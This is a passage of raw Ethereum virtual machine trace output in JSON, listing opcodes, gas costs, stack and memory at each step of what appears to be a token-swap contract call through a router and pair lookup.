89,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":239,"op":"SWAP2","gas":103386,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":240,"op":"SUB","gas":103383,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x80","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":241,"op":"SWAP1","gas":103380,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":242,"op":"RETURN","gas":103377,"gasCost":0,"depth":2,"stack":["0xe6a43905","0xd6","0x20","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":5194,"op":"ISZERO","gas":105030,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5195,"op":"DUP1","gas":105027,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5196,"op":"ISZERO","gas":105024,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5197,"op":"PUSH2","gas":105021,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5200,"op":"JUMPI","gas":105018,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x0","0x1","0x145a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5210,"op":"JUMPDEST","gas":105008,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5211,"op":"POP","gas":105007,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5212,"op":"POP","gas":105005,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x204"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5213,"op":"POP","gas":105003,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5214,"op":"POP","gas":105001,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5215,"op":"PUSH1","gas":104999,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5217,"op":"MLOAD","gas":104996,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5218,"op":"RETURNDATASIZE","gas":104993,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5219,"op":"PUSH1","gas":104991,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5221,"op":"NOT","gas":104988,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5222,"op":"PUSH1","gas":104985,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5224,"op":"DUP3","gas":104982,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1c0","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000